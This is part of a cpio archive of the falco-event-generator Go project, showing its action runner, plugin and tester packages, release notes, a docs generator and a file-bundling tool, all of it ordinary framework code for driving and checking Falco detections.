if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
name = filepath.Join(tmpDir, name)
if copy {
var data []byte
if data, err = os.ReadFile(h.runner.exePath); err != nil {
return err
}
if err = os.WriteFile(name, data, os.FileMode(0755)); err != nil {
return err
}
} else {
if err := os.Symlink(h.runner.exePath, name); err != nil {
return err
}
}
cmd := exec.Command(name, append(h.runner.exeArgs, fullArgs...)...)
out := h.runner.log.Out
cmd.Stdout = out
cmd.Stderr = out
if err := cmd.Run(); err != nil {
return err
}
return nil
}
func (h *helper) Spawned() bool {
return h.runner.alias != ""
}
func (h *helper) InContainer() bool {
return h.runner.inCnt
}
func (h *helper) ExePath() string {
return h.runner.exePath
}
0707010000008D000081A400000000000000000000000166F189F1000003DC000000000000000000000000000000000000003300000000falco-event-generator-0.12.0/pkg/runner/options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package runner
// Option is a functional option for extractors.
type Option func(*Runner) error
// Options is a slice of Option.
type Options []Option
// Apply interates over Options and calls each functional option with a given runner.
func (o Options) Apply(runner *Runner) error {
for _, f := range o {
if err := f(runner); err != nil {
return err
}
}
return nil
}
0707010000008E000081A400000000000000000000000166F189F1000004D1000000000000000000000000000000000000003800000000falco-event-generator-0.12.0/pkg/runner/options_test.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package runner
import (
"errors"
"testing"
"github.com/stretchr/testify/assert"
)
func withTestOptionWithError() Option {
return func(r *Runner) error {
return errors.New("options error")
}
}
func TestApply(t *testing.T) {
r := &Runner{}
testOptionCalled := false
withTestOption := func() Option {
return func(r *Runner) error {
testOptionCalled = true
assert.NotNil(t, r)
return nil
}
}
err := Options([]Option{
withTestOption(),
}).Apply(r)
assert.NoError(t, err)
assert.True(t, testOptionCalled)
err = Options([]Option{
withTestOptionWithError(),
}).Apply(r)
assert.Error(t, err)
}
0707010000008F000081A400000000000000000000000166F189F1000003A6000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/runner/plugin.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package runner
import (
"context"
"github.com/falcosecurity/event-generator/events"
logger "github.com/sirupsen/logrus"
)
type Plugin interface {
PreRun(ctx context.Context, log *logger.Entry, n string, f events.Action) error
PostRun(ctx context.Context, log *logger.Entry, n string, f events.Action, err error) error
}
07070100000090000081A400000000000000000000000166F189F100001580000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/runner/runner.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package runner
import (
"context"
"errors"
"os"
"path/filepath"
"strings"
"time"
"github.com/falcosecurity/event-generator/events"
logger "github.com/sirupsen/logrus"
cmdutil "k8s.io/kubectl/pkg/cmd/util"
)
type Runner struct {
log *logger.Logger
kf cmdutil.Factory
kn string
exePath string
exeArgs []string
inCnt bool
alias string
sleep time.Duration
loop bool
all bool
quiet bool
plgn Plugin
}
func (r *Runner) logEntry(ctx context.Context) *logger.Entry {
l := r.log.WithContext(ctx)
if r.alias != "" {
l = l.WithField("as", r.alias)
}
return l
}
func (r *Runner) trigger(ctx context.Context, n string, f events.Action) (triggered bool, cleanup func(), err error) {
fields := logger.Fields{
"action": n,
}
log := r.logEntry(ctx).WithFields(fields)
h := &helper{
action: n,
runner: r,
log: log,
}
if !r.all && events.Disabled(n) {
log.Debug("action not enabled")
return false, nil, nil
}
if r.kf != nil {
h.builder = r.kf.NewBuilder().RequireNamespace()
if r.kn != "" {
h.builder.NamespaceParam(r.kn).DefaultNamespace()
}
}
if r.plgn != nil {
if plgnErr := r.plgn.PreRun(ctx, log, n, f); plgnErr != nil {
return true, h.cleanup, plgnErr
}
}
if r.sleep > 0 {
h.Sleep(r.sleep)
}
var actErr error
if actErr = f(h); actErr != nil {
var skipErr *events.ErrSkipped
if errors.As(actErr, &skipErr) {
log.WithField("reason", skipErr.Reason).Warn("action skipped")
} else {
log.WithError(actErr).Error("action error")
}
} else if !h.hasLog && !r.quiet {
log.Info("action executed")
}
if r.plgn != nil {
if plgnErr := r.plgn.PostRun(ctx, log, n, f, actErr); plgnErr != nil {
return true, h.cleanup, plgnErr
}
}
return true, h.cleanup, nil
}
func (r *Runner) runOnce(ctx context.Context, m map[string]events.Action) (err error, shutdown bool) {
if len(m) == 0 {
return errors.New("no action selected"), false
}
var cList []func()
teardown := func() {
for _, c := range cList {
c()
}
}
defer teardown()
actionsTriggered := false
for n, f := range m {
triggered, cleanup, err := r.trigger(ctx, n, f)
actionsTriggered = actionsTriggered || triggered
if cleanup != nil {
cList = append(cList, cleanup)
}
if err != nil {
// log error and fallthrough
r.log.WithError(err).WithField("action", n).Error("action error")
}
select {
case <-ctx.Done():
return nil, true
default:
continue
}
}
if !actionsTriggered {
return errors.New("none of the selected actions is enabled"), false
}
return nil, false
}
func (r *Runner) Run(ctx context.Context, m map[string]events.Action) (err error) {
log := r.logEntry(ctx)
var shutdown bool
for err, shutdown = r.runOnce(ctx, m); r.loop && !shutdown; {
log.Debug("restart loop")
err, shutdown = r.runOnce(ctx, m)
}
if shutdown {
log.Info("shutdown completed")
}
return
}
func procAlias() string {
procPath, _ := os.Executable()
procName := filepath.Base(procPath)
calledAs := filepath.Base(os.Args[0])
if procName != calledAs {
return calledAs
}
return ""
}
func inContainer() bool {
b, err := os.ReadFile("/proc/1/cmdline")
if err != nil {
return false
}
return strings.HasPrefix(string(b), os.Args[0])
}
func New(options ...Option) (*Runner, error) {
r := &Runner{}
if err := Options(options).Apply(r); err != nil {
return nil, err
}
if r.log == nil {
r.log = logger.New()
}
if r.quiet {
r.log = &logger.Logger{
Out: r.log.Out,
Hooks: r.log.Hooks,
Formatter: r.log.Formatter,
ReportCaller: r.log.ReportCaller,
ExitFunc: r.log.ExitFunc,
Level: logger.ErrorLevel,
}
}
if r.exePath == "" {
path, err := os.Executable()
if err != nil {
return nil, err
}
r.exePath = path
}
r.alias = procAlias()
r.inCnt = inContainer()
return r, nil
}
func WithLogger(l *logger.Logger) Option {
return func(r *Runner) error {
r.log = l
return nil
}
}
func WithSleep(d time.Duration) Option {
return func(r *Runner) error {
r.sleep = d
return nil
}
}
func WithLoop(loop bool) Option {
return func(r *Runner) error {
r.loop = loop
return nil
}
}
func WithKubeFactory(factory cmdutil.Factory) Option {
return func(r *Runner) error {
r.kf = factory
return nil
}
}
func WithKubeNamespace(namespace string) Option {
return func(r *Runner) error {
r.kn = namespace
return nil
}
}
func WithExecutable(path string, args ...string) Option {
return func(r *Runner) error {
r.exePath = path
r.exeArgs = args
return nil
}
}
func WithPlugin(plugin Plugin) Option {
return func(r *Runner) error {
r.plgn = plugin
return nil
}
}
func WithAllEnabled(all bool) Option {
return func(r *Runner) error {
r.all = all
return nil
}
}
func WithQuiet(quiet bool) Option {
return func(r *Runner) error {
r.quiet = quiet
return nil
}
}
07070100000091000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/pkg/tester07070100000092000081A400000000000000000000000166F189F1000003D2000000000000000000000000000000000000003300000000falco-event-generator-0.12.0/pkg/tester/options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package tester
// Option is a functional option for extractors.
type Option func(*Tester) error
// Options is a slice of Option.
type Options []Option
// Apply interates over Options and calls each functional option with a given tester.
func (o Options) Apply(t *Tester) error {
for _, f := range o {
if err := f(t); err != nil {
return err
}
}
return nil
}
07070100000093000081A400000000000000000000000166F189F100000BE7000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/tester/tester.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package tester
import (
"context"
"errors"
"strings"
"time"
"github.com/falcosecurity/client-go/pkg/api/outputs"
"github.com/falcosecurity/client-go/pkg/client"
"github.com/falcosecurity/event-generator/events"
logger "github.com/sirupsen/logrus"
)
// ErrFailed is returned when a test fails
var ErrFailed = errors.New("test failed")
const DefaultTestTimeout = time.Minute
// Tester is a plugin that tests the action outcome in a running Falco instance via the gRCP API.
type Tester struct {
outs outputs.ServiceClient
timeout time.Duration
}
// New returns a new Tester instance.
func New(config *client.Config, options ...Option) (*Tester, error) {
c, err := client.NewForConfig(context.Background(), config)
if err != nil {
return nil, err
}
outs, err := c.Outputs()
if err != nil {
return nil, err
}
t := &Tester{
outs: outs,
timeout: DefaultTestTimeout,
}
if err := Options(options).Apply(t); err != nil {
return nil, err
}
return t, nil
}
func (t *Tester) PreRun(ctx context.Context, log *logger.Entry, n string, f events.Action) (err error) {
return nil
}
func (t *Tester) PostRun(ctx context.Context, log *logger.Entry, n string, f events.Action, actErr error) error {
if strings.HasPrefix(n, "helper.") {
log.Info("test skipped for helpers")
return nil
}
if actErr != nil {
var skipErr *events.ErrSkipped
if errors.As(actErr, &skipErr) {
return nil // test skipped
}
return ErrFailed
}
ctxWithTimeout, cancelTimeout := context.WithTimeout(ctx, t.timeout)
defer cancelTimeout()
testCtx, cancel := context.WithCancel(ctxWithTimeout)
defer cancel()
fsc, err := t.outs.Sub(testCtx)
if err != nil {
return err
}
err = client.OutputsWatch(testCtx, fsc, func(res *outputs.Response) error {
if events.MatchRule(n, res.Rule) {
log.WithField("rule", res.Rule).WithField("source", res.Source).Info("test passed")
cancel()
} else {
log.WithField("rule", res.Rule).WithField("source", res.Source).Debug("event skipped")
}
return nil
}, time.Millisecond*100)
// "rpc error: code = Canceled desc = context canceled" is not directly mapped to context.Canceled
if errors.Is(err, context.Canceled) || strings.Contains(err.Error(), "context canceled") {
return nil
}
if err != nil {
return err
}
return ErrFailed
}
func WithTestTimeout(timeout time.Duration) Option {
return func(t *Tester) error {
t.timeout = timeout
return nil
}
}
07070100000094000081A400000000000000000000000166F189F1000003B0000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/release.md# Release Process
Our release process is fully automated using [CircleCI](https://app.circleci.com/pipelines/github/falcosecurity/event-generator) and [goreleaser](https://github.com/goreleaser/goreleaser) tool for artifacts.
When we release we do the following process:
1. We decide together (usually in the #falco channel in [slack](https://kubernetes.slack.com/messages/falco)) what's the next version to tag
2. A person with repository rights does the tag
3. The same person runs commands in their machine following the "Release commands" section below
4. Once the CI has done its job, the tag is live on [Github](https://github.com/falcosecurity/event-generator/releases) with the artifacts, and the container image is live on [DockerHub](https://hub.docker.com/r/falcosecurity/event-generator/tags) with proper tags
## Release commands
Tag the version
```bash
git tag -a v0.1.0-rc.0 -m "v0.1.0-rc.0"
git push origin v0.1.0-rc.0
```
07070100000095000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002200000000falco-event-generator-0.12.0/test07070100000096000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/test/events07070100000097000081A400000000000000000000000166F189F100000415000000000000000000000000000000000000003600000000falco-event-generator-0.12.0/test/events/init_test.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package events
import (
"testing"
evtPkg "github.com/falcosecurity/event-generator/events"
"github.com/stretchr/testify/assert"
// Register collections and run initialization
// Duplicated name or init failure will be caught here
_ "github.com/falcosecurity/event-generator/events/k8saudit"
_ "github.com/falcosecurity/event-generator/events/syscall"
)
func TestEventPackages(t *testing.T) {
assert.NotEmpty(t, evtPkg.All())
}
07070100000098000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002300000000falco-event-generator-0.12.0/tools07070100000099000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002A00000000falco-event-generator-0.12.0/tools/docgen0707010000009A000081A400000000000000000000000166F189F100000A0B000000000000000000000000000000000000003400000000falco-event-generator-0.12.0/tools/docgen/docgen.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package main
import (
"flag"
"fmt"
"os"
"path"
"strings"
"github.com/falcosecurity/event-generator/cmd"
logger "github.com/sirupsen/logrus"
"github.com/spf13/cobra"
"github.com/spf13/cobra/doc"
)
const outputDir = "docs"
const websiteTemplate = `---
title: %s
weight: %d
---
`
var (
targetWebsite bool
websitePrepender = func(num int) func(filename string) string {
total := num
return func(filename string) string {
num = num - 1
title := strings.TrimPrefix(strings.TrimSuffix(strings.ReplaceAll(filename, "_", " "), ".md"), fmt.Sprintf("%s/", outputDir))
return fmt.Sprintf(websiteTemplate, title, total-num)
}
}
websiteLinker = func(filename string) string {
if filename == "event-generator.md" {
return "_index.md"
}
return filename
}
)
// fixme(leogr): we must not expose the local home dir / temp workaround here
func fixDefaults(c *cobra.Command) {
for _, cc := range c.Commands() {
if f := cc.Flags().Lookup("cache-dir"); f != nil {
f.DefValue = "$HOME/.kube/http-cache"
}
}
}
// docgen
func main() {
// Get mode
flag.BoolVar(&targetWebsite, "website", targetWebsite, "")
flag.Parse()
// Get root command
evtgen := cmd.New(nil)
fixDefaults(evtgen)
num := len(evtgen.Commands()) + 1
// Setup prepender hook
prepender := func(num int) func(filename string) string {
return func(filename string) string {
return ""
}
}
if targetWebsite {
prepender = websitePrepender
}
// Setup links hook
linker := func(filename string) string {
return filename
}
if targetWebsite {
linker = websiteLinker
}
// Generate markdown docs
err := doc.GenMarkdownTreeCustom(evtgen, outputDir, prepender(num), linker)
if err != nil {
logger.WithError(err).Fatal("docs generation")
}
if targetWebsite {
err := os.Rename(path.Join(outputDir, "event-generator.md"), path.Join(outputDir, "_index.md"))
if err != nil {
logger.WithError(err).Fatal("renaming main docs page")
}
}
}
0707010000009B000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000003000000000falco-event-generator-0.12.0/tools/file-bundler0707010000009C000081A400000000000000000000000166F189F10000077E000000000000000000000000000000000000003800000000falco-event-generator-0.12.0/tools/file-bundler/main.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package main
import (
"fmt"
"os"
"path/filepath"
"github.com/spf13/cobra"
)
const (
goFileName = "bundle.go"
goFileTemplate = `package %s
var Bundle = %#v
`
)
func genBundle(path string) error {
path, err := filepath.Abs(path)
if err != nil {
return err
}
outFilepath := filepath.Join(path, goFileName)
if err := os.Remove(outFilepath); err != nil && !os.IsNotExist(err) {
return err
}
packageName := filepath.Base(path)
bundle := make(map[string][]byte)
if err := filepath.Walk(path, func(filename string, info os.FileInfo, err error) error {
if !info.Mode().IsRegular() {
return nil
}
var errFileRead error
if bundle[filepath.Base(filename)], errFileRead = os.ReadFile(filename); errFileRead != nil {
return errFileRead
}
return nil
}); err != nil {
return err
}
return os.WriteFile(
filepath.Join(path, goFileName),
[]byte(fmt.Sprintf(goFileTemplate, packageName, bundle)),
os.FileMode(0644),
)
}
func main() {
cmd := &cobra.Command{
Use: "file-bundler <directory>",
Short: "Generate a bundle.go from <directory>'s files",
Args: cobra.ExactArgs(1),
RunE: func(c *cobra.Command, args []string) error {
return genBundle(args[0])
},
}
if err := cmd.Execute(); err != nil {
fmt.Printf("error: %s\n", err)
os.Exit(1)
}
}
07070100000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000B00000000TRAILER!!!588 blocks